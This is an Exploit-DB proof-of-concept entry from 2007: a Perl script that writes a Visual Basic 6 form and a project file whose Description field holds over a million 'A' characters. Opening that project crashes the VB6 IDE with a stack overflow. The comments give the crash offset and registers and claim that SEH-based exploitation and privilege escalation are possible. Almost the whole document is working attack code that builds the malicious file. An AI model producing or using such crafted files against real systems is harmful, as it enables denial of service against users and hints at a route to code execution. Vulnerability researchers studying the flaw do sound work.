Exploit-DB #3977
Description: Microsoft Visual Basic 6.0 Project - Description Stack Overflow (PoC)
Type: dos
Platform: windows
Date: 2007-05-23
Author: UmZ

Exploit:
#!/usr/local/bin/perl


#Discovered By UmZ (Umair Manzoor)
#comments are welcome at umz32.dll[at]gmail.com
#Dated 23-02-2007
#Time : 02:00 AM PST
#
#Stack Overflow
#Buffer Size 1037690
#overflow offset  004A2E43
#EBX contain values 
#Memory to write 03B50188
#
#
#
#
#Visual Basic Project Description Stack overflow
#Affected Version  : Tested on Visual basic 6
#Threats : DoS, Previlidges Escilation
#From : Local system
#
#
#Details:
#  Microsoft Visual Basic 6.0 IDE crashes while parsing the project detail's field when characters more then 1037690 are provided, 
#  causing stack overflow (vuln1.vbp in attached file). The data is stored as UNICODE means that Shellcode can be injected in unicode manner 
#  to escilate previledges.
#    As soon as the stack get overflow, an exception occur and NTDLL start handling it => means that SEH based exploitation will work.
#   Offset is mentioned above at which IDE crash. Register EBX contain the malicious values.
#   Memory address at which the malicous data (Project detail) are dumped is: 03EF0189 and on words.
#
#OVERFLOW CODE n Instructions:
#
#004A2E43  |. 8501           TEST DWORD PTR DS:[ECX],EAX
#004A2E45  |. 3D 00100000    CMP EAX,1000
#004A2E4A  |.^73 EC          JNB SHORT VB6.004A2E38
#004A2E4C  \.^EB DB          JMP SHORT VB6.004A2E29

#	    Disclaimer: This Proof of concept exploit is for educational purpose only.
#		        Please do not use it against any system without prior permission.
#          		You are responsible for yourself for what you do with this code.

# This exploit is just POC, it will generate the crafted VB project.


print("\nVisual Basic Project Description Stack overflow");
print("\nAffected Version  : Tested on Visual basic 6");
print("\nThreats : DoS, Previlidges Escilation");
print("\nFrom : Local system");
print("\n----------------------------------------------");
print("\nDiscovered & Coded by UmZ"); 
print("\numz32.dll[at]gmail.com");
 

open (MYFILE, '>>Form1.frm');
print MYFILE "VERSION 5.00\n";
print MYFILE "Begin VB.Form Form1\n"; 
print MYFILE q(Caption         =   "Form1");
print MYFILE "\nClientHeight    =   3495\n";
print MYFILE "ClientLeft      =   60\n";
print MYFILE "ClientTop       =   345\n";
print MYFILE "ClientWidth     =   4680\n";
print MYFILE q(LinkTopic       =   "Form1");
print MYFILE "\nScaleHeight     =   3495\n";
print MYFILE "ScaleWidth      =   4680\n";
print MYFILE "StartUpPosition =   3  'Windows Default\n";
print MYFILE "Begin VB.CommandButton Command2\n"; 
print MYFILE q(Caption         =   "write");
print MYFILE "\nHeight          =   495\n";
print MYFILE "Left            =   2400\n";
print MYFILE "TabIndex        =   2\n";
print MYFILE "Top             =   2640\n";
print MYFILE "Width           =   1935\n";
print MYFILE "End\n";
print MYFILE "Begin VB.TextBox Text1\n"; 
print MYFILE "Height          =   2175\n";
print MYFILE "Left            =   480\n";
print MYFILE "MultiLine       =   -1  'True\n";
print MYFILE "TabIndex        =   1\n";
print MYFILE q(Text            =   "Form1.frx":0000);
print MYFILE "\nTop             =   360\n";
print MYFILE "Width           =   3855\n";
print MYFILE "End\n";
print MYFILE "Begin VB.CommandButton Command1\n"; 
print MYFILE q(Caption         =   "read");
print MYFILE "\nHeight          =   495\n";
print MYFILE "Left            =   480\n";
print MYFILE "TabIndex        =   0\n";
print MYFILE "Top             =   2640\n";
print MYFILE "Width           =   1935\n";
print MYFILE "End\n";
print MYFILE "End\n";

print MYFILE q(Attribute VB_Name = "Form1");
print MYFILE "\nAttribute VB_GlobalNameSpace = False\n";
print MYFILE "Attribute VB_Creatable = False\n";
print MYFILE "Attribute VB_PredeclaredId = True\n";
print MYFILE "Attribute VB_Exposed = False\n";
close (MYFILE);

open (MYFILE, '>>vuln1.vbp');
print MYFILE "Type=Exe\n";
print MYFILE "Reference=*\\G{[PII_REDACTED]-C[PII_REDACTED]00046}#2.0#0#..\\..\\..\\..\\WINDOWS\\system32\\stdole2.tlb#OLE Automation\n";
print MYFILE "Reference=*\\G{420B2830-E718-11CF-893D-00A0C9054228}#1.0#0#..\\..\\..\\..\\WINDOWS\\system32\\scrrun.dll#Microsoft Scripting Runtime\n";
print MYFILE "Form=Form1.frm\n";
print MYFILE q(Startup="Form1");
print MYFILE "\nHelpFile=".q("");
print MYFILE "\nCommand32=".q("");
print MYFILE "\nName=".q("Project1");
print MYFILE "\nHelpContextID=".q("0");
print MYFILE "\nDescription=".q(")."A" x1037690 .q(");
print MYFILE "\nCompatibleMode=".q("0");
print MYFILE "\nMajorVer=1";
print MYFILE "\nMinorVer=0";
print MYFILE "\nRevisionVer=0";
print MYFILE "\nAutoIncrementVer=0";
print MYFILE "\nServerSupportFiles=0";
print MYFILE "\nVersionCompanyName=".q("");
print MYFILE "\nCompilationType=0";
print MYFILE "\nOptimizationType=0";
print MYFILE "\nFavorPentiumPro(tm)=0";
print MYFILE "\nCodeViewDebugInfo=0";
print MYFILE "\nNoAliasing=0";
print MYFILE "\nBoundsCheck=0";
print MYFILE "\nOverflowCheck=0";
print MYFILE "\nFlPointCheck=0";
print MYFILE "\nFDIVCheck=0";
print MYFILE "\nUnroundedFP=0";
print MYFILE "\nStartMode=0";
print MYFILE "\nUnattended=0";
print MYFILE "\nRetained=0";
print MYFILE "\nThreadPerObject=0";
print MYFILE "\nMaxNumberOfThreads=1";
print MYFILE "\n[MS Transaction Server]";
print MYFILE "\nAutoRefresh=1";

close (MYFILE);

print("\n\nCrafted Project has been generated!!!\n\n");

# milw0rm.com [2007-05-23]